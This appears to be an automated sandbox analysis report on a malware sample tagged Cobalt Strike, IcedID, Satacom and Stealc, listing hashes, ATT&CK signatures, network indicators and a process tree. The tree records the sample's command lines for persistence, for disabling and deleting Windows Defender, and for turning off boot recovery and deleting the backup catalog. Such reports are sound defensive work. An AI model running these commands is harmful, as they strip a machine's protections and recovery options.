44efa2e8c7a209ba23e9e17df8930f3e952f18baa91bfaa5d7085e0f61323fe4

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe
Size 1.4MB
Sample261110-e3a5hayzbv
SHA256 44efa2e8c7a209ba23e9e17df8930f3e952f18baa91bfaa5d7085e0f61323fe4
MD5 fb0010606cc84c1fc8b43ba81128ed84
SHA1 7b575a7b98519a383024aa884b5725b3247531d1
SHA512 7dd99e84d0820148979c9dd01d5f22cce6505a994cf62a15c552775a0898373c9329e047eda7e12134a4bd12f64628773c4d16bf5ac611acf2789ec64d0c9b24
SSDEEP 24576:OTif6hysWbIkDWYOJf82frKnHnNnjbNYYLIx5U4e:AiShysWbIkDWYOR822HrY
TLSH
T108659D0BA3B900EDD167D279C9065607EFB2B4051324ABDB5790CA662F23FE15F7A321
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3600	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3792	wbadmin.exe
3460	wbadmin.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
1444	icacls.exe
1704	takeown.exe
1780	takeown.exe
936	icacls.exe
4364	takeown.exe
5556	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1704	takeown.exe
1780	takeown.exe
936	icacls.exe
4364	takeown.exe
5556	takeown.exe
1444	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe"	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe"	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
26	discord.com
85	discord.com
185	discord.com
190	discord.com
1	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6120	sc.exe
4288	sc.exe
6100	sc.exe
3120	sc.exe

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5000	cmd.exe
1268	cmd.exe
4952	cmd.exe
1848	cmd.exe
3032	cmd.exe
3560	cmd.exe
3296	cmd.exe
4888	cmd.exe
760	cmd.exe
2448	cmd.exe
5344	cmd.exe
3440	cmd.exe
4492	cmd.exe
4276	cmd.exe
2756	cmd.exe
4532	cmd.exe
3332	cmd.exe
4272	cmd.exe
1412	cmd.exe
4592	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5604	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2336	schtasks.exe
616	schtasks.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1780	takeown.exe
Token: SeTakeOwnershipPrivilege	5556	takeown.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 3560	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	89
PID 3560 wrote to memory of 2336	3560	cmd.exe	91
PID 3136 wrote to memory of 4952	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	92
PID 4952 wrote to memory of 6120	4952	cmd.exe	95
PID 3136 wrote to memory of 5344	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	96
PID 5792 wrote to memory of 1848	5792	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	99
PID 5344 wrote to memory of 4288	5344	cmd.exe	101
PID 1848 wrote to memory of 616	1848	cmd.exe	102
PID 3136 wrote to memory of 3032	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	103
PID 5792 wrote to memory of 3332	5792	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	105
PID 3032 wrote to memory of 1780	3032	cmd.exe	107
PID 3332 wrote to memory of 6100	3332	cmd.exe	108
PID 3136 wrote to memory of 3440	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	109
PID 5792 wrote to memory of 4492	5792	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	111
PID 4492 wrote to memory of 3120	4492	cmd.exe	113
PID 3440 wrote to memory of 936	3440	cmd.exe	114
PID 5792 wrote to memory of 4276	5792	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	115
PID 3136 wrote to memory of 3296	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	117
PID 4276 wrote to memory of 4364	4276	cmd.exe	119
PID 3136 wrote to memory of 2756	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	120
PID 5792 wrote to memory of 5000	5792	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	122
PID 2756 wrote to memory of 5556	2756	cmd.exe	124
PID 5000 wrote to memory of 1444	5000	cmd.exe	125
PID 5792 wrote to memory of 1268	5792	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	126
PID 3136 wrote to memory of 4888	3136	2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:6120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5344
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2448
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ff94586c188,0x7ff94586c194,0x7ff94586c1a0
    3⤵
    PID:3256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1624,i,9804332158626432664,7851630279997995189,262144 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:2
    3⤵
    PID:4636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,518972294520438794,2039605495856995961,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,4633180814886165544,11329413127795129183,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:13
    3⤵
    PID:6132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3604,i,7448859057953164656,9320440454704504470,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:1
    3⤵
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3616,i,2787412472171129464,601249342827354263,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
    3⤵
    PID:4840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4304,i,672802328385358986,7133381460571960279,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:9
    3⤵
    PID:5848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4292,i,5134232190746932772,6383481603533825161,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
    3⤵
    PID:2352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3816,i,17810615929083394046,7419170321108146764,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:1
    3⤵
    PID:4940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,16993004233602541246,2943741436834724599,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:14
    3⤵
    PID:4128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5428,i,209031426064632113,15444016731874882266,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:1
    3⤵
    PID:2816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5816,i,8248746949152070983,4291424973586275316,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:1
    3⤵
    PID:2592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5824,i,300906109566359028,15293495612405346688,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:1
    3⤵
    PID:5808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6100,i,857734843738310794,3844209715328579314,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:1
    3⤵
    PID:5420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2384,i,9154160836518347575,3206299835021132776,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:14
    3⤵
    PID:4520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3756,i,15779008419510797496,15517981004263809539,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:14
    3⤵
    PID:700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=6664,i,4930628519371852697,10624911677267811916,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:1
    3⤵
    PID:5612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6928,i,8215121765536348700,1250382421554864610,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6812 /prefetch:12
    3⤵
    PID:1536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7108,i,3274104554801309318,12646505423538563833,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=7112 /prefetch:14
    3⤵
    PID:5760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7236,i,18430800537078115276,12392076984201307230,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=7296 /prefetch:1
    3⤵
    PID:6508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7400,i,2577506562717249032,4907290156908966067,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:1
    3⤵
    PID:6660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7544,i,11388451441070152134,17923427793239423897,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=7568 /prefetch:1
    3⤵
    PID:6712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7740,i,1656870140782813486,6560746054249959518,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=7716 /prefetch:1
    3⤵
    PID:6792
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9612,i,4928314355031227351,14801997416608251547,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=9640 /prefetch:14
    3⤵
    PID:1040
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9612,i,4928314355031227351,14801997416608251547,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=9640 /prefetch:14
    3⤵
    PID:6352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9624,i,14340280723822119421,11587880090011969117,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10336 /prefetch:14
    3⤵
    PID:6116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=8428,i,10103974403059750756,15356116648671214716,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:1
    3⤵
    PID:4820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=8464,i,1443495919300816775,1965984511781096561,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:1
    3⤵
    PID:2980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=9044,i,17632691395033469621,16710750761164887045,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:1
